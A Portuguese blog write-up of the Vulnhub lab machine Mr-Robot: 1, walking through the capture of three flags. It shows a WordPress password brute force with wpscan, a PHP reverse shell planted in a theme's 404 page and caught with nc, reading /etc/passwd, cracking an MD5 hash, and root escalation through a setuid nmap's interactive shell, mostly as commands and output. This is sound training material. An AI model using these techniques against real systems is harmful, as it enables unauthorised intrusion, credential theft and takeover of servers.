Mr-Robot: 1

set. 23, 2019·
Jeff Soczek
Jeff Soczek
· 10 minutos de leitura

Estava com tempo livre, subi outra máquina virtual do Vulnhub. Dessa vez vamos brincar com Mr-Robot: 1.

📝 Note: Baseado na série de TV, Mr. Robot. Esta VM tem três chaves ocultas em locais diferentes. Seu objetivo é encontrar todos as três. Cada chave é progressivamente mais difícil de encontrar. A VM não é muito difícil. Não há exploração avançada ou engenharia reversa. O nível é considerado iniciante-intermediário.

Para começar, vamos identificar o endereço do alvo:

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #netdiscover -i eth0 -r 192.168.88.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts                               
                                                                                             
 37 Captured ARP Req/Rep packets, from 14 hosts.   Total size: 2220                          
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.88.11   00:0c:29:5d:a2:fd      1      60  VMware, Inc.

Agora uma enumeração simples, procurando portas abertas.

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #nmap -oA nmap-simple-mrrobot 192.168.88.11
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-03 12:35 -03
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 100.00% done; ETC: 12:35 (0:00:00 remaining)
Nmap scan report for 192.168.88.11
Host is up (0.00046s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https
MAC Address: 00:0C:29:5D:A2:FD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds

Já veio alguma coisa. Agora vou para usar os scripts do nmap e verificar a versão.

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #nmap -p22,80,443 -sC -sV --version-all -oA nmap-sC-mrrobot 192.168.88.11
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-04 08:59 -03
Nmap scan report for 192.168.88.11
Host is up (0.00055s latency).

PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 00:0C:29:5D:A2:FD (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.06 seconds

Ok, isso não nos diz muita coisa. Vamos dar uma olhada com o navegador e ver o que o Apache está servindo.

depois de acessar http://192.168.88.11/

Ah, legal, um terminal da web, alguns comandos disponíveis que permitem que você brinque, mas não muito mais que isso, não é realmente útil. Como temos uma página da web aberta, também podemos verificar o arquivo robots.txt para ver se há algo lá.

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #curl http://192.168.88.11/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt

Olhe para isso! Parece que já encontramos uma chave e outro arquivo. Podemos ler estes?

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #curl http://192.168.88.11/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

Eba! Vou fazer uma cópia local.

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wget http://192.168.88.11/key-1-of-3.txt
--2019-06-04 09:04:17--  http://192.168.88.11/key-1-of-3.txt
Connecting to 192.168.88.11:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: ‘key-1-of-3.txt’

key-1-of-3.txt          100%[=============================>]      33  --.-KB/s    in 0s      

2019-06-04 09:04:17 (6.65 MB/s) - ‘key-1-of-3.txt’ saved [33/33]

Vou baixar também este outro arquivo:

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wget http://192.168.88.11/fsocity.dic
--2019-06-04 09:37:29--  http://192.168.88.11/fsocity.dic
Connecting to 192.168.88.11:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’

fsocity.dic             100%[=============================>]   6.91M  --.-KB/s    in 0.07s   

2019-06-04 09:37:29 (96.5 MB/s) - ‘fsocity.dic’ saved [7245381/7245381]

Eu abri o arquivo e é um dicionário. Você já tinha adivinhado isso, mas eu tinha que conferir. Dando uma olhada no conteúdo, pude ver algumas entradas duplicadas. Vou ver com quantas entradas estamos lidando:

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wc -l fsocity.dic 
858160 fsocity.dic

E agora para remover as entradas duplicadas. Podemos usar ‘sort’ para encurtar esta lista.

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #cat fsocity.dic | sort -u > fsocity-u.dic

Outra verificação de tamanho.

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wc -l fsocity-u.dic 
11451 fsocity-u.dic

Ok, reduzimos o dicionário para um tamanho mais razoável, mas ainda não tenho ideia de como usá-lo. Vamos deixá-lo de lado para mais tarde e continuar enumerando:

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #nikto -h http://192.168.88.11 -output nikto.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.88.11
+ Target Hostname:    192.168.88.11
+ Target Port:        80
+ Start Time:         2019-06-04 09:05:03 (GMT-3)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.88.11/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2019-06-04 09:16:01 (GMT-3) (658 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Achei uma instalação do Wordpress, interessante né? Indo em frente…

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #gobuster -w /usr/share/wordlists/dirb/big.txt -u http://192.168.88.11 -o gobuster.txt

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://192.168.88.11/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/06/04 09:06:11 Starting gobuster
=====================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/0 (Status: 301)
/0000 (Status: 301)
/Image (Status: 301)
/admin (Status: 301)
/atom (Status: 301)
/audio (Status: 301)
/blog (Status: 301)
/css (Status: 301)
/dashboard (Status: 302)
/favicon.ico (Status: 200)
/feed (Status: 301)
/image (Status: 301)
/images (Status: 301)
/intro (Status: 200)
/js (Status: 301)
/license (Status: 200)
/login (Status: 302)
/page1 (Status: 301)
/phpmyadmin (Status: 403)
/rdf (Status: 301)
/readme (Status: 200)
/robots (Status: 200)
/robots.txt (Status: 200)
/rss (Status: 301)
/rss2 (Status: 301)
/sitemap (Status: 200)
/sitemap.xml (Status: 200)
/video (Status: 301)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/wp-config (Status: 200)
/wp-includes (Status: 301)
/wp-login (Status: 200)
=====================================================
2019/06/04 09:14:51 Finished
=====================================================

Até agora pegamos um flag, um dicionário que tinha entradas duplicadas (já limpas) e descobrimos um wordpress instalado junto com alguns outros diretórios.

Vamos executar o wpscan para enumerar mais.

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wpscan --url http://192.168.88.11/ --enumerate u
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.5.3
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.88.11/
[+] Started: Tue Jun  4 10:21:02 2019

...

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <================> (10 / 10) 100.00% Time: 00:00:00

[i] No Users Found.

[+] Finished: Tue Jun  4 10:21:04 2019
[+] Requests Done: 13
[+] Cached Requests: 49
[+] Data Sent: 2.503 KB
[+] Data Received: 20.305 KB
[+] Memory used: 84.137 MB
[+] Elapsed time: 00:00:01

Espere, e se eu usasse esse dicionário aqui?

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wpscan --url 192.168.88.11 -U ./fsocity-u.dic -P ./fsocity-u.dic
...
Progress Time: 00:30:04 <====== > (2454 / 11451) 21.43%  ETA: 01:50:16
Progress Time: 02:15:41 <=============================> (11451 / 11451) 100.00% Time: 02:15:41

[i] No Valid Passwords Found.

[+] Finished: Tue Jun  4 12:38:09 2019
[+] Requests Done: 11392
[+] Cached Requests: 114
[+] Data Sent: 2.878 MB
[+] Data Received: 7.142 MB
[+] Memory used: 280.406 MB
[+] Elapsed time: 02:15:42

Esse processo está demorando muito, deve haver uma maneira melhor/mais rápida…

Saber um pouco sobre o show não faria mal, né? Tiro de sorte para o nome de usuário, vamos tentar o personagem principal da série:

http://192.168.88.11/wp-login.php

Bonsoir Elliot! Encontramos um usuário válido. Muito legal. Isso agiliza as coisas.

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wpscan --url 192.168.88.11 -U 'elliot' -P './fsocity-u.dic'

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - elliot / ER28-0652                                                                
All Found                                                                                     
Progress Time: 00:00:14 <=================== > (12 / 22) 54.54%  ETA: ??:??:??

[i] Valid Combinations Found:
 | Username: elliot, Password: ER28-0652

Muito mais rápido. Ok, agora estamos dentro. Vou editar o plugin hello dolly e colocar o php-reverse-shell lá.

… e então eu quebrei o plugin hello dolly. Raramente funciona como pretendido e não sei por que continuo usando este plugin.

De qualquer forma, resolvi editar a página 404 para o tema atual:

senhor-robo_3

Agora antes de acessar qualquer página inexistente, deixe-me disparar o nc:

┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #nc -lvp 4321
listening on [any] 4321 ...
192.168.88.11: inverse host lookup failed: Unknown host
connect to [192.168.88.16] from (UNKNOWN) [192.168.88.11] 45347
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 14:43:56 up  2:49,  0 users,  load average: 0.02, 0.09, 0.13
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$

Temos uma concha! Gerando um tty totalmente interativo do python:

$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$

Por curiosidade, verificando o passwd procurando alguns usuários…

daemon@linux:/home/robot$ cat /etc/passwd
cat /etc/passwd
root: x :0:0:root:/root:/bin/bash
daemon: x :1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin: x :2:2:bin:/bin:/usr/sbin/nologin
sys: x :3:3:sys:/dev:/usr/sbin/nologin
sync: x :4:65534:sync:/bin:/bin/sync
games: x :5:60:games:/usr/games:/usr/sbin/nologin
man: x :6:12: man :/var/cache/man:/usr/sbin/nologin
lp: x :7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail: x :8:8:mail:/var/mail:/usr/sbin/nologin
news: x :9:9:news:/var/spool/news:/usr/sbin/nologin
uucp: x :10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy: x :13:13:proxy:/bin:/usr/sbin/nologin
www-data: x :33:33:www-data:/var/www:/usr/sbin/nologin
backup: x :34:34:backup:/var/backups:/usr/sbin/nologin
list: x :38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc: x :39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats: x :41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x :65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid: x : 100 :101::/var/lib/libuuid:
syslog: x :101:104::/home/syslog:/bin/false
sshd: x :102:65534::/var/run/sshd:/usr/sbin/nologin
ftp: x :103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp: x :1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql: x :1001:1001::/home/mysql:
varnish: x :999:999::/home/varnish:
robot: x :1002:1002::/home/robot:

… e dando uma olhada no que temos por aí:

daemon@linux:/home/robot$ ls -lrtha
ls -lrtha
total 16K
drwxr-xr-x 3 root  root  4.0K Nov 13  2015 ..
drwxr-xr-x 2 root  root  4.0K Nov 13  2015 .
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

Oi amigo, outra flag? Mas não estou com o usuário certo. Este daemon não tem permissão para ler a flag, mas todos os grupos podem ler o password.raw-md5.

daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Um hash precisa ser descriptografado. Em vez de usar john the ripper ou hashcat, deixe-me procurar um hash já descriptografado nas interwebs.

https://www.md5online.org/md5-decrypt.html

Grande sucesso! Então, apenas mudamos o usuário para o robô:

daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

Agora podemos ler a flag:

robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

Duas flags na mão. Agora, eo priv esc?

robot@linux:/$ uname -a
uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Eu estava pronto para usar o dirtyc0w, mas decidi fazer outra coisa primeiro. Procurando algo com permissões elevadas:

robot@linux:~$ find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null
find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 69120 Feb 12  2015 /bin/umount
-rwsr-xr-x 1 root root 94792 Feb 12  2015 /bin/mount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 36936 Feb 17  2014 /bin/su
-rwsr-xr-x 1 root root 47032 Feb 17  2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 32464 Feb 17  2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 41336 Feb 17  2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46424 Feb 17  2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 68152 Feb 17  2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Mar 12  2015 /usr/bin/sudo
-rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 440416 May 12  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 13628 May 31 13:28 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 May 31 13:28 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10344 Feb 25  2015 /usr/lib/pt_chown

Olhe para isso! nmap per se já é incomum estar presente em uma máquina, mas com um setuid ativado, é um presente. Qualquer usuário executando esse executável obterá as permissões do indivíduo ou grupo que possui o arquivo.

robot@linux:/$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h  for help
nmap> !sh
!sh

# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)

# ls /root  
ls /root
firstboot_done  key-3-of-3.txt

# cat /root/key-3-of-3.txt
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4